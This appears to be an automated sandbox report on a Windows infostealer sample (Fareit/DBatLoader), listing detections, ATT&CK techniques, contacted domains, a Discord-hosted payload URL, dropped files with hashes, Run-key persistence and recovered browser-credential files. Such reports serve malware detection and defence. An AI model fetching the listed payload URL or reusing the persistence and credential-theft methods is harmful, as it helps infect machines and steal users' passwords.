Source: Yara match	File source: 17.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.WZ454554.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.1.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.WZ454554.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.1.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	DLL Side-Loading1	DLL Side-Loading1	Deobfuscate/Decode Files or Information1	OS Credential Dumping1	File and Directory Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer3	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Registry Run Keys / Startup Folder1	Process Injection612	Obfuscated Files or Information3	Credential API Hooking1	System Information Discovery13	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Registry Run Keys / Startup Folder1	Software Packing1	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Application Layer Protocol4	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	DLL Side-Loading1	NTDS	Security Software Discovery221	Distributed Component Object Model	Credential API Hooking1	Scheduled Transfer	Application Layer Protocol115	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Rootkit1	LSA Secrets	Virtualization/Sandbox Evasion2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading11	Cached Domain Credentials	Process Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion2	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection612	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
WZ454554.exe	22%	Virustotal		Browse
WZ454554.exe	39%	ReversingLabs	Win32.Infostealer.Fareit

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\Contacts\Hyrzbcwcas.exe	39%	ReversingLabs	Win32.Infostealer.Fareit

Unpacked PE Files

Source	Detection	Scanner	Label	Download
17.0.Hyrzbcwcas.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.Hyrzbcwcas.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.WZ454554.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
17.1.Hyrzbcwcas.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
21.1.Hyrzbcwcas.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
17.0.Hyrzbcwcas.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.0.WZ454554.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.2.Hyrzbcwcas.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
17.2.Hyrzbcwcas.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
21.0.Hyrzbcwcas.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.1.WZ454554.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
9.0.WZ454554.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.sentlogisticsja.com/m9g2/?xXV=6l9PRhy0D4S&GvW=sz5ErymDSipaI2rGHMiHzQDn8335WrDZWT7fmGUTYuWWeT2KiLBKARdoGEtcQCocu9tS	0%	Avira URL Cloud	safe
http://www.sentlogisticsja.com/m9g2/	0%	Avira URL Cloud	safe
http://www.sentlogisticsja.com	0%	Avira URL Cloud	safe
www.spiegelpherese.com/m9g2/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sentlogisticsja.com	34.102.136.180	true	false	high
cdn.discordapp.com	162.159.130.233	true	false	high
www.senerants.tech	unknown	unknown	false	high
www.sentlogisticsja.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.sentlogisticsja.com/m9g2/?xXV=6l9PRhy0D4S&GvW=sz5ErymDSipaI2rGHMiHzQDn8335WrDZWT7fmGUTYuWWeT2KiLBKARdoGEtcQCocu9tS	false	Avira URL Cloud: safe	unknown
http://www.sentlogisticsja.com/m9g2/	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/801846679439016010/931166967853875200/Hyrzbcwcasllzbwmlqsydewtjitxnzf	false		high
www.spiegelpherese.com/m9g2/	true	Avira URL Cloud: safe	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.sentlogisticsja.com	help.exe, 00000014.00000002.560892253.0000000003929000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.130.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
34.102.136.180	sentlogisticsja.com	United States	15169	GOOGLEUS	false
162.159.135.233	unknown	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	552851
Start date:	13.01.2022
Start time:	20:21:22
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 19s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	WZ454554.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@16/11@7/3
EGA Information:	Successful, ratio: 40%
HDC Information:	Successful, ratio: 52.2% (good quality ratio 48.3%) Quality average: 74.2% Quality standard deviation: 30.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe TCP Packets have been reduced to 100 Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, cdn.onenote.net, arc.msn.com Execution Graph export aborted for target Hyrzbcwcas.exe, PID 1840 because there are no executed function Execution Graph export aborted for target Hyrzbcwcas.exe, PID 7108 because there are no executed function Execution Graph export aborted for target WZ454554.exe, PID 6628 because there are no executed function Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:22:16	API Interceptor	1x Sleep call for process: WZ454554.exe modified
20:22:34	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Hyrzbcwcas C:\Users\user\Contacts\sacwcbzryH.url
20:22:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Hyrzbcwcas C:\Users\user\Contacts\sacwcbzryH.url
20:22:44	API Interceptor	2x Sleep call for process: Hyrzbcwcas.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\Hyrzbcwcasllzbwmlqsydewtjitxnzf[1] Download File
Process:	C:\Users\user\Desktop\WZ454554.exe
File Type:	data
Category:	dropped
Size (bytes):	488448
Entropy (8bit):	7.979988874642134
Encrypted:	false
SSDEEP:	12288:66Jh5Vm30sbrl82V3DhCpxqZ03OGS6JbJgf6C8v:S0+rl8+DhC4i3QNE
MD5:	6CE484DDB0699821883415A6A3C03422
SHA1:	80A0E4C0C07323D6A8E50270286E91CB3A2AEFD4
SHA-256:	A2AC9FC2A4FE4F810D426A3DF72C20D6D9894F31AD8A71FEF75CF2E13D8357F2
SHA-512:	FC2DFAAB773C4AD50157A7059C258CE9C36F7B7B0BC0A60893A7B793B1E3F4D873B3AD1C54CC3C60E49DAB697688BD6252D3B28F6E78C157F95C98B3988E7E49
Malicious:	false
Reputation:	unknown
Preview:	...9".J[..W.6..j.9(.S..w...9'n...FJO....s./......O..].".Q.h.......K...m.....t0.\|3.l..d.I../.0...a....`r-.M....#t8..e.NU...]..^\|;:.%s.....I.~6.{...=+..;2....S.....Q..D... ....7(..b.U....^\|;:.%s.....I.~6.{...=+..;2....S.....Q..D... ...-.....XLt:..<..M..... ...LB.bdo..#m..\|.e.(.....M.p93v95.flg....]...B..'g.....n...&...'g..B......Z@.pJo...s...3...]....J\j.....G...:.k.+m..%m.. ....Tq.rT..t=@..~.....A.J..e.u.Q..o..~-..........Y..e.".....Vr<........../)..\.M............i.$y...A.A.A...Yb.w!..z..M]j...A.<U.\|.S.-.]...?...$.F.V.Z..\|....p.9.....N..........6......J.L.+..8(."..~o.W:..Co._..&zu2.pf.`..10H..mL.y...X..[j......_y(r.]h0...."B..m.?..........Ym3.z.?.N.j....G[h.\.'....4..1..u%.^...V.Un...[q?.....f..<.........s(....^..v...[`.N... q!.IIT.M]y-.B<,.~..9...\..f..,.MIP.....3..V.N.y1.v..=.T.85..Ua}:!..Q@+..B4.h....KD!.9.=.(....OL.j..IL...p..._t......^.N..."4.`.`.ami."..,.$..}?..,...n..."a%.=...L...&`.C.....?..KA.....7.V...e.(.....KL.Uw7

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Hyrzbcwcasllzbwmlqsydewtjitxnzf[1] Download File
Process:	C:\Users\user\Contacts\Hyrzbcwcas.exe
File Type:	data
Category:	dropped
Size (bytes):	488448
Entropy (8bit):	7.979988874642134
Encrypted:	false
SSDEEP:	12288:66Jh5Vm30sbrl82V3DhCpxqZ03OGS6JbJgf6C8v:S0+rl8+DhC4i3QNE
MD5:	6CE484DDB0699821883415A6A3C03422
SHA1:	80A0E4C0C07323D6A8E50270286E91CB3A2AEFD4
SHA-256:	A2AC9FC2A4FE4F810D426A3DF72C20D6D9894F31AD8A71FEF75CF2E13D8357F2
SHA-512:	FC2DFAAB773C4AD50157A7059C258CE9C36F7B7B0BC0A60893A7B793B1E3F4D873B3AD1C54CC3C60E49DAB697688BD6252D3B28F6E78C157F95C98B3988E7E49
Malicious:	false
Reputation:	unknown
Preview:	...9".J[..W.6..j.9(.S..w...9'n...FJO....s./......O..].".Q.h.......K...m.....t0.\|3.l..d.I../.0...a....`r-.M....#t8..e.NU...]..^\|;:.%s.....I.~6.{...=+..;2....S.....Q..D... ....7(..b.U....^\|;:.%s.....I.~6.{...=+..;2....S.....Q..D... ...-.....XLt:..<..M..... ...LB.bdo..#m..\|.e.(.....M.p93v95.flg....]...B..'g.....n...&...'g..B......Z@.pJo...s...3...]....J\j.....G...:.k.+m..%m.. ....Tq.rT..t=@..~.....A.J..e.u.Q..o..~-..........Y..e.".....Vr<........../)..\.M............i.$y...A.A.A...Yb.w!..z..M]j...A.<U.\|.S.-.]...?...$.F.V.Z..\|....p.9.....N..........6......J.L.+..8(."..~o.W:..Co._..&zu2.pf.`..10H..mL.y...X..[j......_y(r.]h0...."B..m.?..........Ym3.z.?.N.j....G[h.\.'....4..1..u%.^...V.Un...[q?.....f..<.........s(....^..v...[`.N... q!.IIT.M]y-.B<,.~..9...\..f..,.MIP.....3..V.N.y1.v..=.T.85..Ua}:!..Q@+..B4.h....KD!.9.=.(....OL.j..IL...p..._t......^.N..."4.`.`.ami."..,.$..}?..,...n..."a%.=...L...&`.C.....?..KA.....7.V...e.(.....KL.Uw7

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Hyrzbcwcasllzbwmlqsydewtjitxnzf[2] Download File
Process:	C:\Users\user\Contacts\Hyrzbcwcas.exe
File Type:	data
Category:	dropped
Size (bytes):	488448
Entropy (8bit):	7.979988874642134
Encrypted:	false
SSDEEP:	12288:66Jh5Vm30sbrl82V3DhCpxqZ03OGS6JbJgf6C8v:S0+rl8+DhC4i3QNE
MD5:	6CE484DDB0699821883415A6A3C03422
SHA1:	80A0E4C0C07323D6A8E50270286E91CB3A2AEFD4
SHA-256:	A2AC9FC2A4FE4F810D426A3DF72C20D6D9894F31AD8A71FEF75CF2E13D8357F2
SHA-512:	FC2DFAAB773C4AD50157A7059C258CE9C36F7B7B0BC0A60893A7B793B1E3F4D873B3AD1C54CC3C60E49DAB697688BD6252D3B28F6E78C157F95C98B3988E7E49
Malicious:	false
Reputation:	unknown
Preview:	...9".J[..W.6..j.9(.S..w...9'n...FJO....s./......O..].".Q.h.......K...m.....t0.\|3.l..d.I../.0...a....`r-.M....#t8..e.NU...]..^\|;:.%s.....I.~6.{...=+..;2....S.....Q..D... ....7(..b.U....^\|;:.%s.....I.~6.{...=+..;2....S.....Q..D... ...-.....XLt:..<..M..... ...LB.bdo..#m..\|.e.(.....M.p93v95.flg....]...B..'g.....n...&...'g..B......Z@.pJo...s...3...]....J\j.....G...:.k.+m..%m.. ....Tq.rT..t=@..~.....A.J..e.u.Q..o..~-..........Y..e.".....Vr<........../)..\.M............i.$y...A.A.A...Yb.w!..z..M]j...A.<U.\|.S.-.]...?...$.F.V.Z..\|....p.9.....N..........6......J.L.+..8(."..~o.W:..Co._..&zu2.pf.`..10H..mL.y...X..[j......_y(r.]h0...."B..m.?..........Ym3.z.?.N.j....G[h.\.'....4..1..u%.^...V.Un...[q?.....f..<.........s(....^..v...[`.N... q!.IIT.M]y-.B<,.~..9...\..f..,.MIP.....3..V.N.y1.v..=.T.85..Ua}:!..Q@+..B4.h....KD!.9.=.(....OL.j..IL...p..._t......^.N..."4.`.`.ami."..,.$..}?..,...n..."a%.=...L...&`.C.....?..KA.....7.V...e.(.....KL.Uw7

C:\Users\user\AppData\Local\Temp\DB1 Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\75A8527W\75Alogim.jpeg Download File
Process:	C:\Windows\SysWOW64\help.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category:	dropped
Size (bytes):	84210
Entropy (8bit):	7.899916323972779
Encrypted:	false
SSDEEP:	1536:CFhcbVt7TdPoG994uZCUZvPbhp//88Y3TaScmwJ8n/t+kZ+jCsM6cVdy:Ihu8GMuZCqnbj//Y3riRkpX6Edy
MD5:	9F895E0E872E4CCFA683538D897279E1
SHA1:	E6C4F5723ACDEDB51A7007AE174D74E6C1C4D2D3
SHA-256:	DBD88EA6303BF4A200CE933CBAD16645C5D7E591751B98A0BAD1DBDE5D8A743A
SHA-512:	6E47AF63E4394C2430AACB86784E5F664960F52E146A3127FBA81C635F40B4BCD7F423987480FF2569FC4FCE1CB7370EA4AACDB569AD7EE44A9BF1A3CAFAB6E6
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..01KK...lq\....xcS.m..#Hm.....T......<!...wq5...v1.?S.....rHj-.U:...5............\|..+.......}...<.>...H.......Wo.CK`/l.1./...C...W.....,1....R.0.W.A.:.....X.l..1lN23....._....m.....'.........S.. ..W....'.c....1....5.5.}j.Ly..k;.\...q.U..Q...bgJpW.(QKI]&b.QE.&(.._.C.....B...-..h.Dh......{..J*.qNN...Z......?......................./.H.v..O.\|......I"]Z...I.y..[

C:\Users\user\AppData\Roaming\75A8527W\75Alogrg.ini Download File
Process:	C:\Windows\SysWOW64\help.exe
File Type:	data
Category:	dropped
Size (bytes):	38
Entropy (8bit):	2.7883088224543333
Encrypted:	false
SSDEEP:	3:rFGQJhIl:RGQPY
MD5:	4AADF49FED30E4C9B3FE4A3DD6445EBE
SHA1:	1E332822167C6F351B99615EADA2C30A538FF037
SHA-256:	75034BEB7BDED9AEAB5748F4592B9E1419256CAEC474065D43E531EC5CC21C56
SHA-512:	EB5B3908D5E7B43BA02165E092F05578F45F15A148B4C3769036AA542C23A0F7CD2BC2770CF4119A7E437DE3F681D9E398511F69F66824C516D9B451BB95F945
Malicious:	false
Reputation:	unknown
Preview:	....C.h.r.o.m.e. .R.e.c.o.v.e.r.y.....

C:\Users\user\AppData\Roaming\75A8527W\75Alogri.ini Download File
Process:	C:\Windows\SysWOW64\help.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	2.8420918598895937
Encrypted:	false
SSDEEP:	3:+slXllAGQJhIl:dlIGQPY
MD5:	D63A82E5D81E02E399090AF26DB0B9CB
SHA1:	91D0014C8F54743BBA141FD60C9D963F869D76C9
SHA-256:	EAECE2EBA6310253249603033C744DD5914089B0BB26BDE6685EC9813611BAAE
SHA-512:	38AFB05016D8F3C69D246321573997AAAC8A51C34E61749A02BF5E8B2B56B94D9544D65801511044E1495906A86DC2100F2E20FF4FCBED09E01904CC780FDBAD
Malicious:	true
Reputation:	unknown
Preview:	....I.e.x.p.l.o.r. .R.e.c.o.v.e.r.y.....

C:\Users\user\AppData\Roaming\75A8527W\75Alogrv.ini Download File
Process:	C:\Windows\SysWOW64\help.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	3.482329440248704
Encrypted:	false
SSDEEP:	6:tGQPYlIaExGNlGcQga3Of9y96GO4yRl2rK9dEoY:MlIaExGNYvOI6x4+2rqY
MD5:	F06976F974E77FCC372A01603909BA74
SHA1:	8810DEB0B9350EB4B9A4944FE488551275C2AEDA
SHA-256:	D47B5E60BF213D7462CD33A88D49525F3386D773016DAE2AFADE8F4B5A330EFB
SHA-512:	742E06D22ACAA67705C3E31C32B3F2D086C509D1E5051EB431EF4D80BAF4F07742E415599EAE4E1200420F64F045D56A321A980F339B18052211AE44FD3437F2
Malicious:	true
Reputation:	unknown
Preview:	...._._.V.a.u.l.t. .R.e.c.o.v.e.r.y.........N.a.m.e.:...M.i.c.r.o.s.o.f.t.A.c.c.o.u.n.t.:.t.a.r.g.e.t.=.S.S.O._.P.O.P._.D.e.v.i.c.e.....I.d.:...0.2.i.y.v.x.c.v.d.z.s.g.u.h.l.n.....A.u.t.:.......P.a.s.s.:.......

C:\Users\user\Contacts\Hyrzbcwcas.exe Download File
Process:	C:\Users\user\Desktop\WZ454554.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	807424
Entropy (8bit):	6.9359553859707095
Encrypted:	false
SSDEEP:	24576:0tXZPH7fBQJyk/0fHvmd8MKTD9/J+fyAB5:KV885T5m
MD5:	58B39C2620CDDA3D3FA6A125F476FC9F
SHA1:	5D2672C79E9DFFB2CDEEE0D00E406C03C762985C
SHA-256:	FDF39D043CC55D6A72B1FE01C9067BB7591D5C379798499148521E6158AFEEA0
SHA-512:	98E5DD2734FD7AC0515E834F0AFC817DE1135503C493C3037F6F1E60C070E24E2F34C53ED08A215AFFD2F3ADD1E79CC0E6559C9A02C4431B40C2C6B1A89A522F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: C:\Users\user\Contacts\Hyrzbcwcas.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.........................................@..............................................@...........................@...+...............................v...................................................H...............................text....k.......l.................. ..`.itext..H............p.............. ..`.data....X.......Z..................@....bss.....;...............................idata...+...@...,..................@....tls....4....p...........................rdata..............................@..@.reloc...v.......x..................@..B.rsrc...............................@..@.....................R..............@..@................................................................................................

C:\Users\user\Contacts\Hyrzbcwcas.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\WZ454554.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Contacts\sacwcbzryH.url Download File
Process:	C:\Users\user\Desktop\WZ454554.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\user\\Contacts\\Hyrzbcwcas.exe">), ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	100
Entropy (8bit):	4.936405505932685
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+T+Bf5rie8EWmvsGKd/W9K:HRYFVmTWD0pzVWmvsb/W9K
MD5:	6E338427109AB2D376E62A8EE9E69477
SHA1:	3D91FEEDFAC3C367E31ACB301AB3A3F2A116042A
SHA-256:	F9E3D569335854ED6FE1C0AB38E28330D6E4E1882591289F2B040CAC6A1CD1A7
SHA-512:	E5455CDC60BC43D3A332E95883DBB646BAF1E9B05AF8063A90BB1C9BBD6DE01880AFD4FEA28CF5788CF447065374E7F70E40A2A6C1694CDABC25E7E7595A1407
Malicious:	false
Yara Hits:	Rule: Methodology_Shortcut_HotKey, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\user\Contacts\sacwcbzryH.url, Author: @itsreallynick (Nick Carr) Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\user\Contacts\sacwcbzryH.url, Author: @itsreallynick (Nick Carr)
Reputation:	unknown
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\user\\Contacts\\Hyrzbcwcas.exe"..IconIndex=71..HotKey=37..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.9359553859707095
TrID:	Win32 Executable (generic) a (10002005/4) 99.38% InstallShield setup (43055/19) 0.43% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	WZ454554.exe
File size:	807424
MD5:	58b39c2620cdda3d3fa6a125f476fc9f
SHA1:	5d2672c79e9dffb2cdeee0d00e406c03c762985c
